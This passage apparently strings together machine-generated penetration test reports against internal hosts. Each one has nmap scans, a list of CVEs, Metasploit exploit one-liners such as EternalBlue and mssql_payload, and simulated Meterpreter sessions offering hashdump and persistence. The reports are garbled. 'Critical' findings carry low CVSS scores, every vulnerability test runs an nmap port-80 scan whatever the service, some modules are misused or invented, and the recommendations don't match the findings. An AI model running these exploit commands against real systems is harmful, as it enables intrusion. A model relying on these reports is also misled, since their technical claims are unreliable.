CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 192.168.212.87 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: Insecure Configuration CVE: CVE-2020-14750 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 192.168.212.87 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.212.87; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2020-14750) - Information Disclosure (CVE-2020-14783) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (574 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.212.87 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0018 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the Microsoft SQL database server (192.168.162.25) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 192.168.162.25 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.162.25 Host is up (0.44s latency). MAC Address: E4:CB:38:D7:05:FA (VMware) 1433/tcp open ms-sql-s Microsoft SQL Server 2017 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 8 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.162.25 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.162.25 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.162.25 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 192.168.162.25; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2019-1068 (CVE-2019-1068) - CVE-2020-0618 (CVE-2020-0618) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (203 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained system access [*] Connected to 192.168.162.25 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0019 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the OAuth2 authentication service (192.168.4.57) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 192.168.4.57 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.4.57 Host is up (0.25s latency). MAC Address: 34:41:F5:2F:C1:44 (Samsung) 80/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Information Disclosure CVE: CVE-2021-11056 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 192.168.4.57 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: Insecure Configuration CVE: CVE-2020-14750 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.1) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 192.168.4.57 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.4.57; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2020-14750) - Information Disclosure (CVE-2021-11056) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (248 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained root access [*] Connected to 192.168.4.57 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0020 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the SMB file server (192.168.144.143) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.144.143 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.144.143 Host is up (0.18s latency). MAC Address: 98:A6:28:BE:61:12 (Cisco) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 2 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 20 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.144.143 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.144.143 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.144.143; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (631 bytes) [*] Meterpreter session 2 opened [*] Session established [*] Gained system access [*] Connected to 192.168.144.143 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0021 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the MySQL database server (10.251.55.12) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p3306,33060 10.251.55.12 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.251.55.12 Host is up (0.25s latency). MAC Address: 42:74:BA:24:59:F6 (Apple) 3306/tcp open mysql MySQL 8.0.21 33060/tcp open mysql MySQL 8.0.21 OS details: Linux 5.4.0-72-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 23 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-21595 (Pluggable Authentication Bypass) CVE: CVE-2022-21595 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.251.55.12 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-3719 (MySQL Optimizer Buffer Overflow) CVE: CVE-2021-3719 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.251.55.12 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2023-21912 (Privilege Escalation via Information Schema) CVE: CVE-2023-21912 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.251.55.12 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/mysql/mysql_udf_payload; set RHOSTS 10.251.55.12; set RPORT 3306; exploit" Output: [*] Started reverse TCP handler on port 3306 [*] Attempting to exploit using linux/mysql/mysql_udf_payload... [-] Exploit failed: Payload failed to execute [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-3719 (CVE-2021-3719) - CVE-2023-21912 (CVE-2023-21912) - CVE-2022-21595 (CVE-2022-21595) - Memory protections (ASLR/DEP) or application sandboxing prevented payload execution [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0022 Date: 2025-05-11 19:07:19 Tester: asmith Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the REST API gateway (192.168.230.175) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 192.168.230.175 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.230.175 Host is up (0.13s latency). MAC Address: 1A:CE:01:7B:39:B5 (Microsoft) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 20 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.230.175 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.230.175 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.230.175 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.230.175; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (440 bytes) [*] Meterpreter session 3 opened [*] Session established [*] Gained user access [*] Connected to 192.168.230.175 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0023 Date: 2025-05-11 19:07:19 Tester: asmith Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the NFS server (192.168.124.78) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 192.168.124.78 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.124.78 Host is up (0.22s latency). MAC Address: 1E:10:2E:A5:F0:3F (Microsoft) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 22 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.124.78 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (4.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.124.78 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.124.78 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.124.78; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Target service crashed during exploitation [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - CVE-2021-37600 (CVE-2021-37600) - Service instability detected - consider denial of service testing [*] Recommended next steps: - Check network connectivity and firewall rules - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0024 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Apache web server (192.168.133.7) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 192.168.133.7 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.133.7 Host is up (0.48s latency). MAC Address: 8C:EB:7A:AA:CE:54 (Google) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 8080/tcp open http Apache/2.4.41 8443/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 21 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.133.7 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-42013 (RCE - Apache 2.4.50) CVE: CVE-2021-42013 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.133.7 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.133.7 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.133.7; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/apache_mod_cgi_bash_env_exec... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-42013 (CVE-2021-42013) - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Try manual Shellshock exploitation with curl - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0025 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the REST API gateway (10.48.212.55) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 10.48.212.55 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.48.212.55 Host is up (0.25s latency). MAC Address: E6:CA:7E:99:E5:D8 (IBM) 443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 17 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: 